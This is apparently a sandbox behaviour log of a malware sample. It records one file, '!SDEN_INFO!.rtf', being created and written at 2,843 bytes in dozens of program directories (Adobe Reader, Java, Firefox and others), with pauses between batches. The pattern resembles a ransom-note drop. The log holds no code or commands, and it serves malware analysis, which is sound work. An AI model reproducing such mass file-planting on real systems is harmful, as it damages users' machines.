File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fi-fi\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\features\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\dictionaries\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-ae\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\es-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fr-fr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-cn\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-il\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sv-se\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\de-de\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\hu-hu\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\pl-pl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\uk-ua\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account-select\css\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\bin\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\amd64\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\browser\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Mozilla Firefox\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Mozilla Firefox\fonts\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Mozilla Firefox\fonts\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\rempl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\rempl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\rempl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-CH\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-MY\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-US\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\gl-ES\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lb-LU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pt-BR\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\th-TH\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-gb\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\eu-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ja-jp\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nb-no\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
